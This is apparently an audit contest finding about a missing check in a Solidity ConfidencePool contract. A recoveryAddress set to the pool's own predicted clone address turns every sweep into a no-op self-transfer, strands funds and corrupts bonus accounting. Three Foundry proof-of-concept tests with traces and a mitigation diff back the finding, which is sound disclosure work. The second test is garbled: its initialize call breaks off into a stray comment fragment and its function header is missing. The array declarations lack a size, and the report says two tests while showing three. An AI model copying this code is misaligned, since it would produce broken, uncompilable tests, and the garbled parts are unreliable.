FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

Missing validation on recoveryAddress allows it to equal the pool's own deterministic clone address, causing all sweep functions to silently no-op via ERC20 self-transfer and permanently strand funds

Author Revealed upon completion

Root + Impact

Description

Normal behavior: recoveryAddress designates the destination for swept funds under claimCorrupted, sweepUnclaimedCorrupted, and sweepUnclaimedBonus it is expected to be an address distinct from the pool itself, capable of actually receiving the transferred tokens.
The specific issue: initialize and setRecoveryAddress only check recoveryAddress != address(0), with no check against address(this). Since ConfidencePoolFactory deploys pools via Clones.cloneDeterministic, the pool's address is fully predictable off-chain before deployment (via Clones.predictDeterministicAddress), so a sponsor can pass their own future pool's address as recoveryAddress. All three sweep functions then call stakeToken.safeTransfer(recoveryAddress, amount), which becomes a self-transfer no-op when recoveryAddress == address(this)the call succeeds and emits its event, but the pool's real token balance never changes, andsweepUnclaimedBonus` additionally decrements totalBonus as if funds had moved.

// ConfidencePool.sol — initialize()
if (recoveryAddress_ == address(0)) revert InvalidRecoveryAddress();
// @> no check that recoveryAddress_ != address(this)
recoveryAddress = recoveryAddress_;
// ConfidencePool.sol — setRecoveryAddress()
function setRecoveryAddress(address newRecoveryAddress) external onlyOwner {
if (newRecoveryAddress == address(0)) revert InvalidRecoveryAddress();
// @> no check that newRecoveryAddress != address(this)
address oldRecoveryAddress = recoveryAddress;
recoveryAddress = newRecoveryAddress;
emit RecoveryAddressUpdated(oldRecoveryAddress, newRecoveryAddress);
}
// ConfidencePool.sol — claimCorrupted()
uint256 toSweep = stakeToken.balanceOf(address(this));
if (toSweep == 0) revert NothingToSweep();
// @> self-transfer no-op when recoveryAddress == address(this); succeeds, emits event, balance unchanged
stakeToken.safeTransfer(recoveryAddress, toSweep);
// ConfidencePool.sol — sweepUnclaimedCorrupted()
uint256 amount = stakeToken.balanceOf(address(this));
if (amount == 0) revert NothingToSweep();
...
// @> self-transfer no-op when recoveryAddress == address(this) — confirmed via PoC
stakeToken.safeTransfer(recoveryAddress, amount);
// ConfidencePool.sol — sweepUnclaimedBonus()
uint256 amount = freeBalance > reserved ? freeBalance - reserved : 0;
if (amount == 0) revert NothingToSweep();
if (totalEligibleStake == 0 || riskWindowStart == 0) {
// @> totalBonus decremented even though the subsequent transfer is a no-op
totalBonus -= amount <= totalBonus ? amount : totalBonus;
}
// @> self-transfer no-op when recoveryAddress == address(this)
stakeToken.safeTransfer(recoveryAddress, amount);

Risk

Likelihood:

  • A sponsor computing recoveryAddress programmatically (e.g., scripting deployment against Clones.predictDeterministicAddress for other purposes) reuses or mis-passes the pool's own predicted address as recoveryAddress at createPool/initialize time.

  • A sponsor deliberately sets recoveryAddress to their own pool's precomputed address, since nothing in initialize or setRecoveryAddress rejects it and the deterministic clone address is trivially predictable off-chain before deployment.

Impact:

  1. In claimCorrupted (bad-faith CORRUPTED path), the entire pool balance — all stakers' principal and bonus — becomes permanently unrecoverable: every call succeeds (no revert, correct event emitted) while the balance never changes, and no other function in the contract can move stakeToken out of the pool in this state.

  2. In sweepUnclaimedBonus, the bug compounds into accounting corruption: totalBonus is decremented as if funds left the pool when they did not, so the pool ends up holding tokens (confirmed via PoC: 50e18 orphaned) that are untracked by any state variable, unclaimed by any staker, and unreachable by any function on the ABI.

This is not an isolated bug in a single function, it is a missing validation at the root (initialize/setRecoveryAddress) that propagates identically into three independent sweep code paths covering all three of the pool's terminal states (bad-faith CORRUPTED, good-faith CORRUPTED post-deadline, and SURVIVED/EXPIRED unclaimed-bonus sweep).

Proof of Concept

Full runnable Foundry tests (both pass cleanly):
Test 1 — deploys a pool via Clones.predictDeterministicAddress/cloneDeterministic with recoveryAddress set to the pool's own precomputed address, forces bad-faith CORRUPTED, and calls claimCorrupted() 7 times, asserting the pool balance is unchanged after every call.
Test 2 — same setup, stakes 100 tokens + contributes 50 bonus tokens, resolves SURVIVED with no risk window observed (making the full bonus sweepable), calls sweepUnclaimedBonus(), and asserts the pool balance is unchanged (150 tokens still present) while totalBonus incorrectly drops to zero.

PoC 1 claimCorrupted permanent stuck-funds

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test, console} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
/// @notice PoC: recoveryAddress set to the pool's own precomputed clone address causes every
/// sweep path (claimCorrupted, and by the same mechanism sweepUnclaimedCorrupted /
/// sweepUnclaimedBonus) to permanently no-op via ERC20 self-transfer, with no revert and no
/// rescue path anywhere in the contract. Funds are provably and permanently stuck.
contract RecoveryAddressSelfSweepPoCTest is Test {
uint256 internal constant ONE = 1e18;
address internal constant DEFAULT_SCOPE_ACCOUNT = address(0xC0FFEE);
ConfidencePool internal pool;
MockERC20 internal token;
address internal alice = makeAddr("alice");
address internal moderator = makeAddr("moderator");
function setUp() public {
vm.warp(1_750_000_000);
token = new MockERC20();
MockAttackRegistry attackRegistry = new MockAttackRegistry();
MockSafeHarborRegistry safeHarborRegistry = new MockSafeHarborRegistry();
MockAgreement agreementContract = new MockAgreement(address(this));
address agreement = address(agreementContract);
agreementContract.setContractInScope(DEFAULT_SCOPE_ACCOUNT, true);
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
safeHarborRegistry.setAgreementValid(agreement, true);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
ConfidencePool implementation = new ConfidencePool();
// Precompute the deterministic clone address exactly as ConfidencePoolFactory would,
// BEFORE the clone is deployed — this is what makes the self-reference possible.
bytes32 salt = keccak256(abi.encode(agreement, uint256(0)));
address predictedPool = Clones.predictDeterministicAddress(address(implementation), salt, address(this));
pool = ConfidencePool(Clones.cloneDeterministic(address(implementation), salt));
assertEq(address(pool), predictedPool, "sanity: predicted address must match actual deployed clone");
address[] memory scope = new address[]();
scope[0] = DEFAULT_SCOPE_ACCOUNT;
// recoveryAddress is set to the pool's own address at initialize time.
pool.initialize(
agreement,
address(token),
address(safeHarborRegistry),
moderator,
block.timestamp + 32 days,
ONE,
predictedPool, // <-- root cause: no check that recoveryAddress != address(this)
address(this),
scope
);
assertEq(pool.recoveryAddress(), address(pool), "sanity: recoveryAddress equals the pool itself");
// Stake and force bad-faith CORRUPTED so the full balance becomes sweep-eligible.
token.mint(alice, 100 * ONE);
vm.startPrank(alice);
token.approve(address(pool), 100 * ONE);
pool.stake(100 * ONE);
vm.stopPrank();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
}
function testClaimCorruptedSilentlyNoOpsAndFundsArePermanentlyStuck() external {
uint256 poolBalance = token.balanceOf(address(pool));
assertEq(poolBalance, 100 * ONE, "pool holds alice's full stake pre-sweep");
// First call: succeeds (no revert), emits ClaimCorrupted, but balance is unchanged
// because recoveryAddress == address(pool) makes this a self-transfer.
pool.claimCorrupted();
assertEq(token.balanceOf(address(pool)), poolBalance, "balance unchanged after 'successful' sweep #1");
// Second call: NothingToSweep should fire here in the honest-recovery-address case,
// since a real sweep would have zeroed the balance already. It does NOT fire — proving
// the contract believes funds were swept when they were not.
pool.claimCorrupted();
assertEq(token.balanceOf(address(pool)), poolBalance, "balance still unchanged after sweep #2");
// Repeat several more times to demonstrate this isn't a one-off: it is a stable,
// indefinitely-repeatable no-op with no error path ever triggered.
for (uint256 i; i < 5; ++i) {
pool.claimCorrupted();
}
assertEq(token.balanceOf(address(pool)), poolBalance, "balance unchanged after 7 total sweep calls");
// Definitive proof of permanent loss: there is no other function on the ABI that can
// move stakeToken out of the pool once outcome == CORRUPTED and bad-faith. claimCorrupted
// is the only exit, and it can never succeed in moving funds when recoveryAddress ==
// address(pool). alice, who staked honestly, recovers nothing.
assertEq(token.balanceOf(alice), 0, "alice's stake is gone from her balance");
assertEq(token.balanceOf(address(pool)), 100 * ONE, "the entire 100 tokens sit frozen in the pool forever");
}
}

Output

Ran 1 test for test/invariant/RecoveryAddressSelfSweepPoC.t.sol:RecoveryAddressSelfSweepPoCTest
[PASS] testClaimCorruptedSilentlyNoOpsAndFundsArePermanentlyStuck() (gas: 112808)
Traces:
[146275] RecoveryAddressSelfSweepPoCTest::testClaimCorruptedSilentlyNoOpsAndFundsArePermanentlyStuck()
├─ [2537] MockERC20::balanceOf(pool) [staticcall]
│ └─ ← [Return] 100000000000000000000 [1e20]
├─ [36210] pool::claimCorrupted()
│ ├─ [33547] ConfidencePool::claimCorrupted() [delegatecall]
│ │ ├─ [537] MockERC20::balanceOf(pool) [staticcall]
│ │ │ └─ ← [Return] 100000000000000000000 [1e20]
│ │ ├─ [5730] MockERC20::transfer(pool, 100000000000000000000 [1e20])
│ │ │ ├─ emit Transfer(from: pool, to: pool, amount: 100000000000000000000 [1e20])
│ │ │ └─ ← [Return] true
│ │ ├─ emit ClaimCorrupted(caller: RecoveryAddressSelfSweepPoCTest, recoveryAddress: pool, amount: 100000000000000000000 [1e20])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [537] MockERC20::balanceOf(pool) [staticcall]
│ └─ ← [Return] 100000000000000000000 [1e20]
│ (... repeated identically for calls #2 through #7, balance always 100000000000000000000 ...)
├─ [537] MockERC20::balanceOf(alice) [staticcall]
│ └─ ← [Return] 0
├─ [537] MockERC20::balanceOf(pool) [staticcall]
│ └─ ← [Return] 100000000000000000000 [1e20]
└─ ← [Return]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.80ms

All 7 claimCorrupted() calls succeed with no revert; pool balance stays at 100e18 throughout; alice's stake is never recovered.

PoC 2 sweepUnclaimedBonus stuck funds + accounting corruption

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test, console} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
/// @notice PoC: recoveryAddress == pool's own address makes sweepUnclaimedBonus a self-transfer
/// no-op, exactly like claimCorrupted — but sweepUnclaimedBonus ALSO decrements totalBonus by
/// the "swept" amount even though the tokens never left the contract. This corrupts internal
/// accounting on top of the stuck-funds problem: totalBonus becomes permanently understated
/// relative to the pool's real token balance.
contract RecoveryAddressSelfSweepBonusPoCTest is Test {
uint256 internal constant ONE = 1e18;
address internal constant DEFAULT_SCOPE_ACCOUNT = address(0xC0FFEE);
ConfidencePool internal pool;
MockAttackRegistry internal attackRegistry;
MockERC20 internal token;
address internal alice = makeAddr("alice");
address internal carol = makeAddr("carol");
address internal moderator = makeAddr("moderator");
function setUp() public {
vm.warp(1_750_000_000);
token = new MockERC20();
attackRegistry = new MockAttackRegistry();
MockSafeHarborRegistry safeHarborRegistry = new MockSafeHarborRegistry();
MockAgreement agreementContract = new MockAgreement(address(this));
address agreement = address(agreementContract);
agreementContract.setContractInScope(DEFAULT_SCOPE_ACCOUNT, true);
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
safeHarborRegistry.setAgreementValid(agreement, true);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
ConfidencePool implementation = new ConfidencePool();
bytes32 salt = keccak256(abi.encode(agreement, uint256(0)));
address predictedPool = Clones.predictDeterministicAddress(address(implementation), salt, address(this));
pool = ConfidencePool(Clones.cloneDeterministic(address(implementation), salt));
assertEq(address(pool), predictedPool, "sanity: predicted address must match actual deployed clone");
address[] memory scope = new address[]();
scope[0] = DEFAULT_SCOPE_ACCOUNT;
pool.initialize(
agreement,
address(token),
address(safeHarborRegistry),
moderator,
block.timestamp + 32 days,
ONE,
predictedPool, // no bonus owed" rule, the
// entire bonus becomes sweepable while alice's principal stays reserved.
token.mint(alice, 100 * ONE);
vm.startPrank(alice);
token.approve(address(pool), 100 * ONE);
pool.stake(100 * ONE);
vm.stopPrank();
token.mint(carol, 50 * ONE);
vm.startPrank(carol);
token.approve(address(pool), 50 * ONE);
pool.contributeBonus(50 * ONE);
vm.stopPrank();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(pool.riskWindowStart(), 0, "no active-risk ever observed");
assertEq(pool.totalBonus(), 50 * ONE, "totalBonus before the broken sweep");
uint256 poolBalanceBefore = token.balanceOf(address(pool));
assertEq(poolBalanceBefore, 150 * ONE, "pool holds alice's stake + carol's bonus");
// sweepUnclaimedBonus "succeeds": no revert, event emitted, totalBonus decremented —
// but recoveryAddress == address(pool), so the safeTransfer is a no-op.
pool.sweepUnclaimedBonus();
uint256 poolBalanceAfter = token.balanceOf(address(pool));
assertEq(poolBalanceAfter, poolBalanceBefore, "pool balance UNCHANGED: the transfer was a no-op");
// The bug: totalBonus was decremented as if 50 tokens left the pool, even though they
// did not. Internal accounting now claims less bonus exists than the pool actually holds.
assertEq(pool.totalBonus(), 0, "totalBonus wrongly zeroed despite tokens never leaving the pool");
// alice can still claim her principal (150 total sits in the pool, she's owed 100).
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
assertEq(token.balanceOf(alice) - aliceBefore, 100 * ONE, "alice recovers only her principal, no bonus");
// The 50 tokens carol contributed are now permanently stuck AND untracked by totalBonus,
// compounding the stuck-funds bug with a state-corruption bug.
assertEq(token.balanceOf(address(pool)), 50 * ONE, "carol's 50 bonus tokens remain, orphaned from totalBonus");
}
}

Output

Ran 1 test for test/invariant/RecoveryAddressSelfSweepBonusPoC.t.sol:RecoveryAddressSelfSweepBonusPoCTest
[PASS] testSweepUnclaimedBonusCorruptsAccountingViaSelfTransfer() (gas: 515433)
Traces:
[649557] RecoveryAddressSelfSweepBonusPoCTest::testSweepUnclaimedBonusCorruptsAccountingViaSelfTransfer()
├─ MockERC20::mint(alice, 100000000000000000000 [1e20])
├─ pool::stake(100000000000000000000 [1e20]) → Staked(alice, 1e20)
├─ MockERC20::mint(carol, 50000000000000000000 [5e19])
├─ pool::contributeBonus(50000000000000000000 [5e19])
│ └─ balanceOf(pool) after: 150000000000000000000 [1.5e20]
├─ MockAttackRegistry::setAgreementState(5) // PRODUCTION
├─ pool::flagOutcome(SURVIVED, false, address(0))
│ └─ emit OutcomeFlagged(moderator, SURVIVED, false, address(0))
├─ pool::riskWindowStart() → 0
├─ pool::totalBonus() → 50000000000000000000 [5e19]
├─ MockERC20::balanceOf(pool) → 150000000000000000000 [1.5e20]
├─ pool::sweepUnclaimedBonus()
│ ├─ balanceOf(pool) → 150000000000000000000 [1.5e20]
│ ├─ MockERC20::transfer(pool, 50000000000000000000 [5e19])
│ │ ├─ emit Transfer(from: pool, to: pool, amount: 50000000000000000000 [5e19])
│ │ └─ ← [Return] true
│ ├─ emit BonusSwept(caller: RecoveryAddressSelfSweepBonusPoCTest, recoveryAddress: pool, amount: 50000000000000000000 [5e19])
│ └─ ← [Stop]
├─ MockERC20::balanceOf(pool) → 150000000000000000000 [1.5e20] // UNCHANGED
├─ pool::totalBonus() → 0 // WRONGLY ZEROED
├─ pool::claimSurvived() (alice)
│ └─ transfer(alice, 100000000000000000000 [1e20]) — ClaimSurvived(alice, 1e20, bonusShare: 0)
├─ MockERC20::balanceOf(alice) → 100000000000000000000 [1e20]
└─ MockERC20::balanceOf(pool) → 50000000000000000000 [5e19] // 50 tokens orphaned, untracked
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.86ms

PoC 3: permanent fund loss + accounting corruption

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test, console} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
/// @notice PoC: recoveryAddress == pool's own address makes sweepUnclaimedCorrupted a
/// self-transfer no-op too, exactly like claimCorrupted. Confirms the same root cause affects
/// a third sweep function (the good-faith CORRUPTED post-deadline backstop path).
contract RecoveryAddressSelfSweepCorruptedPoCTest is Test {
uint256 internal constant ONE = 1e18;
address internal constant DEFAULT_SCOPE_ACCOUNT = address(0xC0FFEE);
ConfidencePool internal pool;
MockAttackRegistry internal attackRegistry;
MockERC20 internal token;
address internal alice = makeAddr("alice");
address internal attacker = makeAddr("attacker");
address internal moderator = makeAddr("moderator");
function setUp() public {
vm.warp(1_750_000_000);
token = new MockERC20();
attackRegistry = new MockAttackRegistry();
MockSafeHarborRegistry safeHarborRegistry = new MockSafeHarborRegistry();
MockAgreement agreementContract = new MockAgreement(address(this));
address agreement = address(agreementContract);
agreementContract.setContractInScope(DEFAULT_SCOPE_ACCOUNT, true);
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
safeHarborRegistry.setAgreementValid(agreement, true);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
ConfidencePool implementation = new ConfidencePool();
bytes32 salt = keccak256(abi.encode(agreement, uint256(0)));
address predictedPool = Clones.predictDeterministicAddress(address(implementation), salt, address(this));
pool = ConfidencePool(Clones.cloneDeterministic(address(implementation), salt));
assertEq(address(pool), predictedPool, "sanity: predicted address must match actual deployed clone");
address[] memory scope = new address[]();
scope[0] = DEFAULT_SCOPE_ACCOUNT;
pool.initialize(
agreement,
address(token),
address(safeHarborRegistry),
moderator,
block.timestamp + 32 days,
ONE,
predictedPool, // <-- recoveryAddress == pool itself
address(this),
scope
);
assertEq(pool.recoveryAddress(), address(pool), "sanity: recoveryAddress equals the pool itself");
}
function testSweepUnclaimedCorruptedSilentlyNoOpsAndFundsArePermanentlyStuck() external {
// Stake, then force good-faith CORRUPTED naming an attacker who never claims within
// the 180-day window — this is the exact scenario sweepUnclaimedCorrupted exists for.
token.mint(alice, 100 * ONE);
vm.startPrank(alice);
token.approve(address(pool), 100 * ONE);
pool.stake(100 * ONE);
vm.stopPrank();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
// Attacker never claims. Warp past the 180-day claim window.
vm.warp(block.timestamp + pool.CORRUPTED_CLAIM_WINDOW() + 1);
uint256 poolBalance = token.balanceOf(address(pool));
assertEq(poolBalance, 100 * ONE, "pool holds alice's full stake, unclaimed by attacker");
// sweepUnclaimedCorrupted should move the full balance to recoveryAddress. It "succeeds"
// (no revert, event emitted) but recoveryAddress == address(pool) makes it a no-op.
pool.sweepUnclaimedCorrupted();
assertEq(token.balanceOf(address(pool)), poolBalance, "balance unchanged after 'successful' sweep #1");
// Repeat to confirm it's a stable, indefinitely-repeatable no-op — same pattern as
// claimCorrupted. bountyClaimed is set to bountyEntitlement on first call, so subsequent
// calls will revert NothingToSweep only if the balance is actually ever drained — which
// it never is here, so we expect this to keep "succeeding" as a no-op indefinitely,
// exactly mirroring claimCorrupted's behavior. Confirm this expectation directly:
pool.sweepUnclaimedCorrupted();
assertEq(token.balanceOf(address(pool)), poolBalance, "balance unchanged after sweep #2");
// Definitive proof: alice's stake never left the contract, and no other function can
// move it out.
assertEq(token.balanceOf(alice), 0, "alice's stake is gone from her balance");
assertEq(token.balanceOf(attacker), 0, "attacker never claimed and receives nothing");
assertEq(token.balanceOf(address(pool)), 100 * ONE, "the entire 100 tokens sit frozen in the pool forever");
}
}

Output

│ ├─ [179] ConfidencePool::CORRUPTED_CLAIM_WINDOW() [delegatecall]
│ │ └─ ← [Return] 15552000 [1.555e7]
│ └─ ← [Return] 15552000 [1.555e7]
├─ [0] VM::warp(1765552001 [1.765e9])
│ └─ ← [Return]
├─ [537] MockERC20::balanceOf(0xb8bC006aA14C2eEC2aEB166e04Fc9aDdBd4585e1) [staticcall]
│ └─ ← [Return] 100000000000000000000 [1e20]
├─ [52999] 0xb8bC006aA14C2eEC2aEB166e04Fc9aDdBd4585e1::sweepUnclaimedCorrupted()
│ ├─ [52836] ConfidencePool::sweepUnclaimedCorrupted() [delegatecall]
│ │ ├─ [537] MockERC20::balanceOf(0xb8bC006aA14C2eEC2aEB166e04Fc9aDdBd4585e1) [staticcall]
│ │ │ └─ ← [Return] 100000000000000000000 [1e20]
│ │ ├─ [22830] MockERC20::transfer(0xb8bC006aA14C2eEC2aEB166e04Fc9aDdBd4585e1, 100000000000000000000 [1e20])
│ │ │ ├─ emit Transfer(from: 0xb8bC006aA14C2eEC2aEB166e04Fc9aDdBd4585e1, to: 0xb8bC006aA14C2eEC2aEB166e04Fc9aDdBd4585e1, amount: 100000000000000000000 [1e20])
│ │ │ └─ ← [Return] true
│ │ ├─ emit UnclaimedCorruptedSwept(caller: RecoveryAddressSelfSweepCorruptedPoCTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], recoveryAddress: 0xb8bC006aA14C2eEC2aEB166e04Fc9aDdBd4585e1, amount: 100000000000000000000 [1e20])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [537] MockERC20::balanceOf(0xb8bC006aA14C2eEC2aEB166e04Fc9aDdBd4585e1) [staticcall]
│ └─ ← [Return] 100000000000000000000 [1e20]
├─ [28851] 0xb8bC006aA14C2eEC2aEB166e04Fc9aDdBd4585e1::sweepUnclaimedCorrupted()
│ ├─ [28688] ConfidencePool::sweepUnclaimedCorrupted() [delegatecall]
│ │ ├─ [537] MockERC20::balanceOf(0xb8bC006aA14C2eEC2aEB166e04Fc9aDdBd4585e1) [staticcall]
│ │ │ └─ ← [Return] 100000000000000000000 [1e20]
│ │ ├─ [22830] MockERC20::transfer(0xb8bC006aA14C2eEC2aEB166e04Fc9aDdBd4585e1, 100000000000000000000 [1e20])
│ │ │ ├─ emit Transfer(from: 0xb8bC006aA14C2eEC2aEB166e04Fc9aDdBd4585e1, to: 0xb8bC006aA14C2eEC2aEB166e04Fc9aDdBd4585e1, amount: 100000000000000000000 [1e20])
│ │ │ └─ ← [Return] true
│ │ ├─ emit UnclaimedCorruptedSwept(caller: RecoveryAddressSelfSweepCorruptedPoCTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], recoveryAddress: 0xb8bC006aA14C2eEC2aEB166e04Fc9aDdBd4585e1, amount: 100000000000000000000 [1e20])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [537] MockERC20::balanceOf(0xb8bC006aA14C2eEC2aEB166e04Fc9aDdBd4585e1) [staticcall]
│ └─ ← [Return] 100000000000000000000 [1e20]
├─ [537] MockERC20::balanceOf(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6]) [staticcall]
│ └─ ← [Return] 0
├─ [2537] MockERC20::balanceOf(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]) [staticcall]
│ └─ ← [Return] 0
├─ [537] MockERC20::balanceOf(0xb8bC006aA14C2eEC2aEB166e04Fc9aDdBd4585e1) [staticcall]
│ └─ ← [Return] 100000000000000000000 [1e20]
└─ ← [Return]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 15.03ms (701.56µs CPU time)
Ran 1 test suite in 415.84ms (15.03ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual review, followed by two Foundry PoC tests using Clones.predictDeterministicAddress to deterministically reproduce the exact address-prediction mechanism ConfidencePoolFactory uses in production. Additionally validated against ~154,000 fuzzed invariant-test calls across two harnesses (with recoveryAddress set normally in those runs) — this bug is specifically an edge case around recoveryAddress misconfiguration and would not surface under randomized fuzzing without deliberately targeting it, which

Recommended Mitigation

Add a check against address(this) alongside the existing zero-address check, in both initialize and setRecoveryAddress:

+ if (recoveryAddress_ == address(0) || recoveryAddress_ == address(this)) revert InvalidRecoveryAddress();
+ function setRecoveryAddress(address newRecoveryAddress) external onlyOwner {
+ if (newRecoveryAddress == address(0) || newRecoveryAddress == address(this)) revert InvalidRecoveryAddress();
...
}

Since initialize is called by the factory before the pool's own address is knowable to the pool itself (the clone must exist to have an address), address(this) is always available and correctly resolvable inside initialize regardless of call order this check is not affected by deployment sequencing.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!